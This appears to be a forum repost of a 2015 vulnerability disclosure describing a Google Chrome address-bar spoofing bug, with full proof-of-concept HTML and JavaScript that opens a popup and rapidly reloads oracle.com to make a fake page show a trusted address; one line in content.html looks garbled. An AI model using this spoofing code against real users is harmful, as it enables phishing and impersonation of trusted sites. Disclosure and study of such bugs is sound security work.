Google Chrome Address Spoofing

[Nytro]

Impact:

The "click to verify" thing is completely broken...

Anyone can be "BBB Accredited Business" etc.

You can make whitehouse.gov display "We love Islamic State"

Note:

No user interaction on the fake page.

Code:

***** index.html

<script>

function next()

{

w.location.replace('http://www.oracle.com/index.html?'+n);n++;

setTimeout("next();",15);

setTimeout("next();",25);

}

function f()

{

w=window.open("content.html","_blank","width=500 height=500");

i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);

}

</script>

<a href="#" onclick="f()">Go</a><br>

***** content.html

<b>This web page is NOT oracle.com</b>

<script>location="Oracle | Integrated Cloud Applications and Platform Services";</script>

***** It's online

Deusen - gwhere

(The page says "June/16/2015" - it works as we tested today)

Request For Comment:

We reported this to Google.

They reproduced, and say

It's DoS which doesn't matter.

We think it's very strange,

since the browser does not crash(not DoS),

and the threat is obvious.

What's your opinion?

Kind Regards,

PS

We love clever tricks.

We love this:

Dieyu